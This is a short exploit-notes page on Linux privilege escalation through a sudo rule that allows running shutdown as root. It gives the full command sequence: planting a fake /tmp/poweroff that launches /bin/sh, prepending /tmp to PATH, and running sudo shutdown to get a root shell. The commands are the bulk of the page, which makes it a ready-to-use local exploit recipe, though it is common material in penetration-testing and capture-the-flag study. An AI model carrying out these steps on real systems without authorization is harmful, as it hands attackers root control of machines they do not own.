> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-shutdown-poweroff-privilege-escalation.md).

# Sudo Shutdown, Poweroff Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-shutdown-poweroff-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```sh
sudo -l

(ALL) NOPASS: /usr/sbin/shutdown
Copied!
```

If we can execute **"shutdown"** command as root, we can gain access to privileges by overwriting the path of **"poweroff"**.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-shutdown-poweroff-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

First create **/tmp/poweroff** binary which invoke a shell.

```sh
echo /bin/sh > /tmp/poweroff
# or
echo /bin/bash > /tmp/poweroff
Copied!
```

Then change permissions of the file and add **"/tmp"** folder to **PATH**.

```sh
chmod +x /tmp/poweroff
export PATH=/tmp:$PATH
Copied!
```

Now execute **"shutdown"** as root.

```sh
# Some SUID command
sudo /usr/sbin/shutdown

# Then you are root user
root>
Copied!
```

**/tmp/poweroff** is executed and spawn a root shell.


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